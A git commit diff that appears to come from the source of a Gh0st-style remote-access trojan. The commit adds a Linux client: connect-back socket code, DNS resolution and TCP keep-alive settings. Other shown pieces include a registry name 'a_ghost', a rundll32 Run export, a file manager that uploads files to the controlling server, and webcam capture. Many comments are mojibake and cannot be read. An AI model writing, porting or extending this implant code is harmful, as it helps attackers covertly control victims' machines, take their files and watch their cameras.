fix: #71 Development of a simple Linux Client
This commit is contained in:
@@ -8,9 +8,6 @@
|
|||||||
#include <Mmsystem.h>
|
#include <Mmsystem.h>
|
||||||
#include <IOSTREAM>
|
#include <IOSTREAM>
|
||||||
|
|
||||||
|
|
||||||
using namespace std;
|
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|||||||
@@ -1,4 +1,7 @@
|
|||||||
|
#ifdef _WIN32
|
||||||
#include "StdAfx.h"
|
#include "StdAfx.h"
|
||||||
|
#endif
|
||||||
|
|
||||||
#include "Buffer.h"
|
#include "Buffer.h"
|
||||||
#include <math.h>
|
#include <math.h>
|
||||||
|
|
||||||
@@ -18,7 +21,7 @@ CBuffer::~CBuffer(void)
|
|||||||
{
|
{
|
||||||
if (m_Base)
|
if (m_Base)
|
||||||
{
|
{
|
||||||
VirtualFree(m_Base, 0, MEM_RELEASE);
|
MVirtualFree(m_Base, 0, MEM_RELEASE);
|
||||||
m_Base = NULL;
|
m_Base = NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -67,13 +70,13 @@ VOID CBuffer::DeAllocateBuffer(ULONG ulLength)
|
|||||||
{
|
{
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
PBYTE NewBase = (PBYTE) MVirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||||
if (NewBase == NULL)
|
if (NewBase == NULL)
|
||||||
return;
|
return;
|
||||||
|
|
||||||
CopyMemory(NewBase,m_Base,len);
|
CopyMemory(NewBase,m_Base,len);
|
||||||
|
|
||||||
VirtualFree(m_Base,0,MEM_RELEASE);
|
MVirtualFree(m_Base,0,MEM_RELEASE);
|
||||||
|
|
||||||
m_Base = NewBase;
|
m_Base = NewBase;
|
||||||
|
|
||||||
@@ -104,7 +107,7 @@ BOOL CBuffer::ReAllocateBuffer(ULONG ulLength)
|
|||||||
return TRUE;
|
return TRUE;
|
||||||
|
|
||||||
ULONG ulNewMaxLength = ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
ULONG ulNewMaxLength = ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
||||||
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
PBYTE NewBase = (PBYTE) MVirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||||
if (NewBase == NULL)
|
if (NewBase == NULL)
|
||||||
{
|
{
|
||||||
return FALSE;
|
return FALSE;
|
||||||
@@ -115,7 +118,7 @@ BOOL CBuffer::ReAllocateBuffer(ULONG ulLength)
|
|||||||
|
|
||||||
if (m_Base)
|
if (m_Base)
|
||||||
{
|
{
|
||||||
VirtualFree(m_Base,0,MEM_RELEASE);
|
MVirtualFree(m_Base,0,MEM_RELEASE);
|
||||||
}
|
}
|
||||||
m_Base = NewBase;
|
m_Base = NewBase;
|
||||||
m_Ptr = m_Base + len;
|
m_Ptr = m_Base + len;
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
#include <Windows.h>
|
|
||||||
|
|
||||||
|
#include "../common/commands.h"
|
||||||
|
|
||||||
class CBuffer
|
class CBuffer
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -8,7 +8,7 @@
|
|||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
CSampleGrabberCB mCB;
|
CSampleGrabberCB CCaptureVideo::mCB;
|
||||||
|
|
||||||
CCaptureVideo::CCaptureVideo()
|
CCaptureVideo::CCaptureVideo()
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -199,8 +199,6 @@ public:
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
extern CSampleGrabberCB mCB;
|
|
||||||
|
|
||||||
class CCaptureVideo
|
class CCaptureVideo
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
@@ -219,6 +217,7 @@ public:
|
|||||||
|
|
||||||
HWND m_hWnd;
|
HWND m_hWnd;
|
||||||
|
|
||||||
|
static CSampleGrabberCB mCB;
|
||||||
IGraphBuilder * m_pGB; //ͨ<><CDA8><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Է<EFBFBD><D4B7><EFBFBD> FCDO Filter Control Device Object
|
IGraphBuilder * m_pGB; //ͨ<><CDA8><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Է<EFBFBD><D4B7><EFBFBD> FCDO Filter Control Device Object
|
||||||
ICaptureGraphBuilder2* m_pCapture; //ͨ<><CDA8><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Է<EFBFBD><D4B7><EFBFBD> <20><>ʵCDO
|
ICaptureGraphBuilder2* m_pCapture; //ͨ<><CDA8><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Է<EFBFBD><D4B7><EFBFBD> <20><>ʵCDO
|
||||||
|
|
||||||
|
|||||||
@@ -14,7 +14,6 @@
|
|||||||
#include <sstream>
|
#include <sstream>
|
||||||
#include <shellapi.h>
|
#include <shellapi.h>
|
||||||
#include <corecrt_io.h>
|
#include <corecrt_io.h>
|
||||||
using namespace std;
|
|
||||||
|
|
||||||
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
|
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
|
||||||
#define REG_NAME "a_ghost"
|
#define REG_NAME "a_ghost"
|
||||||
@@ -308,7 +307,7 @@ extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpsz
|
|||||||
|
|
||||||
DWORD WINAPI StartClient(LPVOID lParam)
|
DWORD WINAPI StartClient(LPVOID lParam)
|
||||||
{
|
{
|
||||||
IOCPClient *ClientObject = new IOCPClient();
|
IOCPClient *ClientObject = new IOCPClient(g_bExit);
|
||||||
|
|
||||||
g_bThreadExit = false;
|
g_bThreadExit = false;
|
||||||
while (!g_bExit)
|
while (!g_bExit)
|
||||||
@@ -322,7 +321,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
|||||||
//<><D7BC><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
//<><D7BC><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
SendLoginInfo(ClientObject, GetTickCount64()-dwTickCount, g_SETTINGS.ClientType());
|
SendLoginInfo(ClientObject, GetTickCount64()-dwTickCount, g_SETTINGS.ClientType());
|
||||||
|
|
||||||
CKernelManager Manager(ClientObject);
|
CKernelManager Manager(&g_SETTINGS, ClientObject, g_hInstance);
|
||||||
bool bIsRun = 0;
|
bool bIsRun = 0;
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -214,8 +214,6 @@
|
|||||||
<ClInclude Include="VideoCodec.h" />
|
<ClInclude Include="VideoCodec.h" />
|
||||||
<ClInclude Include="VideoManager.h" />
|
<ClInclude Include="VideoManager.h" />
|
||||||
<ClInclude Include="X264Encoder.h" />
|
<ClInclude Include="X264Encoder.h" />
|
||||||
<ClInclude Include="zconf.h" />
|
|
||||||
<ClInclude Include="zlib.h" />
|
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ResourceCompile Include="Script.rc" />
|
<ResourceCompile Include="Script.rc" />
|
||||||
|
|||||||
@@ -14,8 +14,6 @@
|
|||||||
|
|
||||||
#include "KernelManager.h"
|
#include "KernelManager.h"
|
||||||
|
|
||||||
extern CONNECT_ADDRESS g_SETTINGS;
|
|
||||||
|
|
||||||
DWORD WINAPI ThreadProc(LPVOID lParam)
|
DWORD WINAPI ThreadProc(LPVOID lParam)
|
||||||
{
|
{
|
||||||
THREAD_ARG_LIST ThreadArgList = {0};
|
THREAD_ARG_LIST ThreadArgList = {0};
|
||||||
@@ -30,6 +28,7 @@ template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
|
|||||||
{
|
{
|
||||||
ThreadInfo *pInfo = (ThreadInfo *)lParam;
|
ThreadInfo *pInfo = (ThreadInfo *)lParam;
|
||||||
IOCPClient *ClientObject = pInfo->p;
|
IOCPClient *ClientObject = pInfo->p;
|
||||||
|
CONNECT_ADDRESS& g_SETTINGS(*(pInfo->conn));
|
||||||
if (ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
|
if (ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
|
||||||
{
|
{
|
||||||
Manager m(ClientObject, n, pInfo->user);
|
Manager m(ClientObject, n, pInfo->user);
|
||||||
|
|||||||
@@ -3,6 +3,7 @@
|
|||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
#include "FileManager.h"
|
#include "FileManager.h"
|
||||||
|
#include <shellapi.h>
|
||||||
|
|
||||||
typedef struct
|
typedef struct
|
||||||
{
|
{
|
||||||
@@ -503,7 +504,7 @@ UINT CFileManager::SendFileData(LPBYTE lpBuffer)
|
|||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ļ<EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ļ<EFBFBD>
|
||||||
void CFileManager::UploadNext()
|
void CFileManager::UploadNext()
|
||||||
{
|
{
|
||||||
list <string>::iterator it = m_UploadList.begin();
|
std::list <std::string>::iterator it = m_UploadList.begin();
|
||||||
// ɾ<><C9BE>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// ɾ<><C9BE>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
m_UploadList.erase(it);
|
m_UploadList.erase(it);
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ϴ<EFBFBD><CFB4><EFBFBD><EFBFBD><EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ϴ<EFBFBD><CFB4><EFBFBD><EFBFBD><EFBFBD>
|
||||||
@@ -540,7 +541,7 @@ bool CFileManager::UploadToRemote(LPBYTE lpBuffer)
|
|||||||
m_UploadList.push_back((char *)lpBuffer);
|
m_UploadList.push_back((char *)lpBuffer);
|
||||||
}
|
}
|
||||||
|
|
||||||
list <string>::iterator it = m_UploadList.begin();
|
std::list <std::string>::iterator it = m_UploadList.begin();
|
||||||
// <20><><EFBFBD>͵<EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ļ<EFBFBD>
|
// <20><><EFBFBD>͵<EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ļ<EFBFBD>
|
||||||
SendFileSize((*it).c_str());
|
SendFileSize((*it).c_str());
|
||||||
|
|
||||||
|
|||||||
@@ -12,7 +12,6 @@ typedef IOCPClient CClientSocket;
|
|||||||
#include <string>
|
#include <string>
|
||||||
|
|
||||||
#include "Manager.h"
|
#include "Manager.h"
|
||||||
using namespace std;
|
|
||||||
|
|
||||||
#if _MSC_VER > 1000
|
#if _MSC_VER > 1000
|
||||||
#pragma once
|
#pragma once
|
||||||
@@ -33,7 +32,7 @@ public:
|
|||||||
CFileManager(CClientSocket *pClient, int h = 0, void* user=nullptr);
|
CFileManager(CClientSocket *pClient, int h = 0, void* user=nullptr);
|
||||||
virtual ~CFileManager();
|
virtual ~CFileManager();
|
||||||
private:
|
private:
|
||||||
list <string> m_UploadList;
|
std::list <std::string> m_UploadList;
|
||||||
UINT m_nTransferMode;
|
UINT m_nTransferMode;
|
||||||
char m_strCurrentProcessFileName[MAX_PATH]; // <20><>ǰ<EFBFBD><C7B0><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
char m_strCurrentProcessFileName[MAX_PATH]; // <20><>ǰ<EFBFBD><C7B0><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||||
__int64 m_nCurrentProcessFileLength; // <20><>ǰ<EFBFBD><C7B0><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>ij<EFBFBD><C4B3><EFBFBD>
|
__int64 m_nCurrentProcessFileLength; // <20><>ǰ<EFBFBD><C7B0><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>ij<EFBFBD><C4B3><EFBFBD>
|
||||||
|
|||||||
@@ -1,10 +1,22 @@
|
|||||||
// IOCPClient.cpp: implementation of the IOCPClient class.
|
// IOCPClient.cpp: implementation of the IOCPClient class.
|
||||||
//
|
//
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
#ifdef _WIN32
|
||||||
#include "stdafx.h"
|
#include "stdafx.h"
|
||||||
|
#else
|
||||||
|
#include <netdb.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <netinet/tcp.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <netinet/in.h> // For struct sockaddr_in
|
||||||
|
#include <unistd.h> // For close()
|
||||||
|
#include <cstring> // For memset()
|
||||||
|
inline int WSAGetLastError() { return -1; }
|
||||||
|
#define USING_COMPRESS 1
|
||||||
|
#endif
|
||||||
#include "IOCPClient.h"
|
#include "IOCPClient.h"
|
||||||
#include <IOSTREAM>
|
#include <assert.h>
|
||||||
|
#include <string>
|
||||||
#if USING_ZLIB
|
#if USING_ZLIB
|
||||||
#include "zlib/zlib.h"
|
#include "zlib/zlib.h"
|
||||||
#define Z_FAILED(p) (Z_OK != (p))
|
#define Z_FAILED(p) (Z_OK != (p))
|
||||||
@@ -36,26 +48,60 @@
|
|||||||
#endif
|
#endif
|
||||||
#endif
|
#endif
|
||||||
#endif
|
#endif
|
||||||
#include <assert.h>
|
|
||||||
#include "Manager.h"
|
|
||||||
|
|
||||||
using namespace std;
|
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
VOID IOCPClient::setManagerCallBack(CManager* Manager)
|
#ifndef _WIN32
|
||||||
|
BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180) {
|
||||||
|
// <20><><EFBFBD><EFBFBD> TCP <20><><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>
|
||||||
|
int enable = 1;
|
||||||
|
if (setsockopt(socket, SOL_SOCKET, SO_KEEPALIVE, &enable, sizeof(enable)) < 0) {
|
||||||
|
std::cerr << "Failed to enable TCP keep-alive" << std::endl;
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD> TCP_KEEPIDLE (3<><33><EFBFBD>ӿ<EFBFBD><D3BF>к<EFBFBD><D0BA><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD> keep-alive <20><>)
|
||||||
|
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPIDLE, &nKeepAliveSec, sizeof(nKeepAliveSec)) < 0) {
|
||||||
|
std::cerr << "Failed to set TCP_KEEPIDLE" << std::endl;
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD> TCP_KEEPINTVL (5<><35><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>)
|
||||||
|
int keepAliveInterval = 5; // 5<><35>
|
||||||
|
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPINTVL, &keepAliveInterval, sizeof(keepAliveInterval)) < 0) {
|
||||||
|
std::cerr << "Failed to set TCP_KEEPINTVL" << std::endl;
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD> TCP_KEEPCNT (<28><><EFBFBD><EFBFBD>5<EFBFBD><35>̽<EFBFBD><CCBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>ӶϿ<D3B6>)
|
||||||
|
int keepAliveProbes = 5;
|
||||||
|
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPCNT, &keepAliveProbes, sizeof(keepAliveProbes)) < 0) {
|
||||||
|
std::cerr << "Failed to set TCP_KEEPCNT" << std::endl;
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::cout << "TCP keep-alive settings applied successfully" << std::endl;
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess)
|
||||||
{
|
{
|
||||||
m_Manager = Manager;
|
m_Manager = Manager;
|
||||||
|
|
||||||
|
m_DataProcess = dataProcess;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
IOCPClient::IOCPClient(bool exit_while_disconnect)
|
IOCPClient::IOCPClient(BOOL &bExit, bool exit_while_disconnect) : g_bExit(bExit)
|
||||||
{
|
{
|
||||||
m_Manager = NULL;
|
m_Manager = NULL;
|
||||||
|
#ifdef _WIN32
|
||||||
WSADATA wsaData;
|
WSADATA wsaData;
|
||||||
WSAStartup(MAKEWORD(2, 2), &wsaData);
|
WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||||||
|
#endif
|
||||||
|
|
||||||
m_sClientSocket = INVALID_SOCKET;
|
m_sClientSocket = INVALID_SOCKET;
|
||||||
m_hWorkThread = NULL;
|
m_hWorkThread = NULL;
|
||||||
@@ -67,7 +113,6 @@ IOCPClient::IOCPClient(bool exit_while_disconnect)
|
|||||||
m_bIsRunning = TRUE;
|
m_bIsRunning = TRUE;
|
||||||
m_bConnected = FALSE;
|
m_bConnected = FALSE;
|
||||||
|
|
||||||
InitializeCriticalSection(&m_cs);
|
|
||||||
m_exit_while_disconnect = exit_while_disconnect;
|
m_exit_while_disconnect = exit_while_disconnect;
|
||||||
#if USING_CTX
|
#if USING_CTX
|
||||||
m_Cctx = ZSTD_createCCtx();
|
m_Cctx = ZSTD_createCCtx();
|
||||||
@@ -92,13 +137,13 @@ IOCPClient::~IOCPClient()
|
|||||||
m_hWorkThread = NULL;
|
m_hWorkThread = NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
WSACleanup();
|
WSACleanup();
|
||||||
|
#endif
|
||||||
|
|
||||||
while (S_RUN == m_bWorkThread)
|
while (S_RUN == m_bWorkThread)
|
||||||
Sleep(10);
|
Sleep(10);
|
||||||
|
|
||||||
DeleteCriticalSection(&m_cs);
|
|
||||||
|
|
||||||
m_bWorkThread = S_END;
|
m_bWorkThread = S_END;
|
||||||
#if USING_CTX
|
#if USING_CTX
|
||||||
ZSTD_freeCCtx(m_Cctx);
|
ZSTD_freeCCtx(m_Cctx);
|
||||||
@@ -107,8 +152,9 @@ IOCPClient::~IOCPClient()
|
|||||||
}
|
}
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡIP<49><50>ַ
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡIP<49><50>ַ
|
||||||
inline string GetIPAddress(const char *hostName)
|
inline std::string GetIPAddress(const char *hostName)
|
||||||
{
|
{
|
||||||
|
#ifdef _WIN32
|
||||||
struct hostent *host = gethostbyname(hostName);
|
struct hostent *host = gethostbyname(hostName);
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ: %s.\n", host->h_addrtype == AF_INET ? "IPV4" : "IPV6");
|
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ: %s.\n", host->h_addrtype == AF_INET ? "IPV4" : "IPV6");
|
||||||
@@ -118,6 +164,27 @@ inline string GetIPAddress(const char *hostName)
|
|||||||
if (host == NULL || host->h_addr_list == NULL)
|
if (host == NULL || host->h_addr_list == NULL)
|
||||||
return "";
|
return "";
|
||||||
return host->h_addr_list[0] ? inet_ntoa(*(struct in_addr*)host->h_addr_list[0]) : "";
|
return host->h_addr_list[0] ? inet_ntoa(*(struct in_addr*)host->h_addr_list[0]) : "";
|
||||||
|
#else
|
||||||
|
struct addrinfo hints, * res;
|
||||||
|
memset(&hints, 0, sizeof(hints));
|
||||||
|
hints.ai_family = AF_INET; // IPv4
|
||||||
|
hints.ai_socktype = SOCK_STREAM; // TCP socket
|
||||||
|
|
||||||
|
int status = getaddrinfo(hostName, nullptr, &hints, &res);
|
||||||
|
if (status != 0) {
|
||||||
|
std::cerr << "getaddrinfo failed: " << gai_strerror(status) << std::endl;
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
struct sockaddr_in* addr = reinterpret_cast<struct sockaddr_in*>(res->ai_addr);
|
||||||
|
char ip[INET_ADDRSTRLEN];
|
||||||
|
inet_ntop(AF_INET, &(addr->sin_addr), ip, sizeof(ip));
|
||||||
|
|
||||||
|
std::cout << "IP Address: " << ip << std::endl;
|
||||||
|
|
||||||
|
freeaddrinfo(res); // <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD>ͷŵ<CDB7>ַ<EFBFBD><D6B7>Ϣ
|
||||||
|
return ip;
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||||
@@ -129,12 +196,13 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
|||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
//<2F><><EFBFBD><EFBFBD>sockaddr_in<69>ṹ Ҳ<><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˵Ľṹ
|
//<2F><><EFBFBD><EFBFBD>sockaddr_in<69>ṹ Ҳ<><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˵Ľṹ
|
||||||
sockaddr_in ServerAddr;
|
sockaddr_in ServerAddr;
|
||||||
ServerAddr.sin_family = AF_INET; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP
|
ServerAddr.sin_family = AF_INET; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP
|
||||||
ServerAddr.sin_port = htons(uPort);
|
ServerAddr.sin_port = htons(uPort);
|
||||||
// <20><>szServerIP<49><50><EFBFBD><EFBFBD><EFBFBD>ֿ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IPת<50><D7AA>
|
// <20><>szServerIP<49><50><EFBFBD><EFBFBD><EFBFBD>ֿ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IPת<50><D7AA>
|
||||||
string server = ('0' <= szServerIP[0] && szServerIP[0] <= '9')
|
std::string server = ('0' <= szServerIP[0] && szServerIP[0] <= '9')
|
||||||
? szServerIP : GetIPAddress(szServerIP);
|
? szServerIP : GetIPAddress(szServerIP);
|
||||||
ServerAddr.sin_addr.S_un.S_addr = inet_addr(server.c_str());
|
ServerAddr.sin_addr.S_un.S_addr = inet_addr(server.c_str());
|
||||||
|
|
||||||
@@ -147,12 +215,42 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
|||||||
}
|
}
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
#else
|
||||||
|
sockaddr_in ServerAddr = {};
|
||||||
|
ServerAddr.sin_family = AF_INET; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP
|
||||||
|
ServerAddr.sin_port = htons(uPort);
|
||||||
|
std::string server = ('0' <= szServerIP[0] && szServerIP[0] <= '9')
|
||||||
|
? szServerIP : GetIPAddress(szServerIP);
|
||||||
|
|
||||||
|
// <20><>szServerIP<49><50><EFBFBD><EFBFBD><EFBFBD>ֿ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IPת<50><D7AA>
|
||||||
|
// ʹ<><CAB9> inet_pton <20><><EFBFBD><EFBFBD> inet_addr (inet_pton <20><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7> IPv4 <20><> IPv6)
|
||||||
|
if (inet_pton(AF_INET, server.c_str(), &ServerAddr.sin_addr) <= 0) {
|
||||||
|
std::cerr << "Invalid address or address not supported" << std::endl;
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD>
|
||||||
|
m_sClientSocket = socket(AF_INET, SOCK_STREAM, 0);
|
||||||
|
if (m_sClientSocket == -1) {
|
||||||
|
std::cerr << "Failed to create socket" << std::endl;
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if (connect(m_sClientSocket, (struct sockaddr*)&ServerAddr, sizeof(ServerAddr)) == -1) {
|
||||||
|
std::cerr << "Connection failed" << std::endl;
|
||||||
|
close(m_sClientSocket);
|
||||||
|
m_sClientSocket = -1; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD>Ч
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
const int chOpt = 1; // True
|
const int chOpt = 1; // True
|
||||||
// Set KeepAlive <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><>ֹ<EFBFBD><D6B9><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD><CBB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// Set KeepAlive <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><>ֹ<EFBFBD><D6B9><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD><CBB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
if (setsockopt(m_sClientSocket, SOL_SOCKET, SO_KEEPALIVE,
|
if (setsockopt(m_sClientSocket, SOL_SOCKET, SO_KEEPALIVE,
|
||||||
(char *)&chOpt, sizeof(chOpt)) == 0)
|
(char *)&chOpt, sizeof(chOpt)) == 0)
|
||||||
{
|
{
|
||||||
|
#ifdef _WIN32
|
||||||
// <20><><EFBFBD>ó<EFBFBD>ʱ<EFBFBD><CAB1>ϸ<EFBFBD><CFB8>Ϣ
|
// <20><><EFBFBD>ó<EFBFBD>ʱ<EFBFBD><CAB1>ϸ<EFBFBD><CFB8>Ϣ
|
||||||
tcp_keepalive klive;
|
tcp_keepalive klive;
|
||||||
klive.onoff = 1; // <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD>
|
klive.onoff = 1; // <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD>
|
||||||
@@ -160,11 +258,20 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
|||||||
